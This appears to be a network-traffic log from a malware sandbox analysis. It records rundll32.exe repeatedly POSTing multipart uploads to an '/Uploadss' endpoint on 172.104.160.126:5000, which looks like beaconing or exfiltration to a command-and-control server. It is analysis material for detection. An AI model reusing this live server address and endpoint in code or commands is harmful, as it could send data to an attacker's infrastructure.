Jul 22, 2024 15:59:51.697841883 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------3755ae52020b6387
Jul 22, 2024 15:59:52.647212029 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:52 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49253	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:52.678925037 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------5781aa9441631b3e
Jul 22, 2024 15:59:53.650727034 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:53 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49254	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:53.678493023 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f897addde1370454
Jul 22, 2024 15:59:54.849045038 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:54 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49255	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:54.874304056 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------793f3f5fb8213a21
Jul 22, 2024 15:59:55.863974094 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:55 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49256	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:55.896068096 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------79bb560cb57ad0e1
Jul 22, 2024 15:59:56.859682083 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:56 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49257	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:56.924189091 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a317104ee2cc8105
Jul 22, 2024 15:59:58.111783981 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:57 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49258	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:58.137052059 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------883a00c3844ef429
Jul 22, 2024 15:59:59.418570042 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 13:59:59 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49259	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:59:59.445729017 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------57415b48de4d495c
Jul 22, 2024 16:00:00.404954910 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:00 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49260	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:00.443661928 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------3cce8b88a3742ee2
Jul 22, 2024 16:00:01.389868021 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:01 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49261	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:01.414390087 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------b2be66a73755a4fd
Jul 22, 2024 16:00:02.348699093 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:02 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49262	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:02.369635105 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------25a531a286c8b417
Jul 22, 2024 16:00:03.288084984 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:03 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49263	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:03.316319942 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------01eb8640365fd751
Jul 22, 2024 16:00:04.280101061 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:04 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49264	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:04.304373980 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6f4cfa28ab6b91ba
Jul 22, 2024 16:00:05.531369925 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:05 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49265	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:05.562108040 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0f60835c471703b6
Jul 22, 2024 16:00:06.792000055 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:06 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49266	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:06.824263096 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------30e95938f8d682b4
Jul 22, 2024 16:00:08.239770889 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:08 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49267	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:08.263936043 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------fa71821352b7a857
Jul 22, 2024 16:00:09.234426975 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:09 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49269	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:09.259970903 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------1d41fea49894b271
Jul 22, 2024 16:00:11.306943893 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:10 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:11.310334921 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:10 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:11.311840057 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:10 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49270	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:11.321324110 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4c1e4f796c2c9c93
Jul 22, 2024 16:00:13.272167921 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:12 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:13.273399115 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:12 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:13.285157919 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:12 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49271	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:13.288706064 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------fff4f274d4698b1d
Jul 22, 2024 16:00:14.261641026 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:14 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49272	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:14.280905962 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------edd5ebff721373ff
Jul 22, 2024 16:00:15.464314938 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:15 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49273	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:15.491976023 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------e20020832d30f3c0
Jul 22, 2024 16:00:16.720884085 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:16 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49274	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:16.739691019 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------d4472314239c3705
Jul 22, 2024 16:00:17.833395004 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:17 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49275	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:17.860945940 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------7e127aa7b6ef26df
Jul 22, 2024 16:00:18.791853905 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:18 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49276	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:18.814730883 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------0cf99223c92232cd
Jul 22, 2024 16:00:19.780041933 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:19 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49277	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:19.823656082 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------7ce2fb84c3dc7384
Jul 22, 2024 16:00:21.688350916 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:20 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:21.691196918 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:20 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49278	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:21.708918095 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------d8f7e01a7de6f04f
Jul 22, 2024 16:00:23.288867950 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:22 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:23.290394068 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:22 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49279	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:23.323446989 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------f7a61e38904fcff7
Jul 22, 2024 16:00:24.307172060 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:24 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49280	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:24.333306074 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------8977623888b015d2
Jul 22, 2024 16:00:25.545228004 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:25 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49281	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:25.563039064 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------8961b875dcb6c2ce
Jul 22, 2024 16:00:26.712783098 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:26 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49282	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:26.739160061 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------00f564c0c06baa17
Jul 22, 2024 16:00:27.735567093 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:27 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49283	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:27.753508091 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------eaaf87d8ac660071
Jul 22, 2024 16:00:28.761029005 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:28 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49284	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:28.781773090 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4db416eccd57981d
Jul 22, 2024 16:00:29.732780933 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:29 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49285	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:29.754950047 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------6ea26e32a284dc76
Jul 22, 2024 16:00:31.072359085 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:30 GMT Content-Type: application/json Content-Length: 22 Connection: close
Jul 22, 2024 16:00:31.072774887 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:30 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49286	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:31.084009886 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------4be51b091cf7dce2
Jul 22, 2024 16:00:32.119106054 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:31 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49287	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:32.146512985 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------fffb92063f61af58
Jul 22, 2024 16:00:33.110915899 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:32 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49288	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:33.131515026 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------bcadf6652bcb5995
Jul 22, 2024 16:00:34.082405090 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:33 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49289	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:34.104792118 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a0c3d46717813838
Jul 22, 2024 16:00:35.344614029 CEST	188	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:35 GMT Content-Type: application/json Content-Length: 22 Connection: close Data Raw: 7b 0a 20 20 22 6d 65 73 73 61 67 65 22 3a 20 22 6f 6b 22 0a 7d 0a Data Ascii: { "message": "ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49290	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:35.359400034 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------71e83fa42945e82e
Jul 22, 2024 16:00:36.545949936 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:36 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49291	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:36.559890032 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------2774b4aa52ecef71
Jul 22, 2024 16:00:37.539288044 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:37 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49292	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:37.574383020 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------9299cdde274089f9
Jul 22, 2024 16:00:38.541229010 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:38 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49293	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:38.564542055 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------32889ea7ae55e121
Jul 22, 2024 16:00:44.267913103 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:44 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49294	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:44.301352024 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------a678ad0b838c4a42
Jul 22, 2024 16:00:45.357834101 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:45 GMT Content-Type: application/json Content-Length: 22 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49295	172.104.160.126	5000	5940	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 16:00:45.456721067 CEST	176	OUT	POST /Uploadss HTTP/1.1 Host: 172.104.160.126:5000 Accept: / Content-Length: 1456 Content-Type: multipart/form-data; boundary=------------------------271c99aa13addee5
Jul 22, 2024 16:00:46.457094908 CEST	166	IN	HTTP/1.1 200 OK Server: Werkzeug/3.0.3 Python/3.10.12 Date: Mon, 22 Jul 2024 14:00:46 GMT Content-Type: application/json Content-Length: 22 Connection: close

